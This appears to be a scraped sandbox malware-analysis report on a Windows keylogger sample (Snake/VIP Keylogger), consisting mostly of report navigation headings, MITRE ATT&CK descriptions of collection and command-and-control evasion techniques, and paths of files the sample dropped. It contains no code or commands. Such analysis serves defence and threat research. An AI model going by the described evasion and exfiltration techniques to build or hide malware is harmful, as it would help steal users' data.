Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2i3Lj7a8Gk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2i3Lj7a8Gk.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\lyNyKapwZJLKnn.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dzpb1503.zrg.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h142no2g.mzf.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mx0phzgr.my4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w00ibzth.cxi.psm1

C:\Users\user\AppData\Local\Temp\tmp760C.tmp

C:\Users\user\AppData\Local\Temp\tmp8686.tmp

C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe:Zone.Identifier

Windows Analysis Report
2i3Lj7a8Gk.exe

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre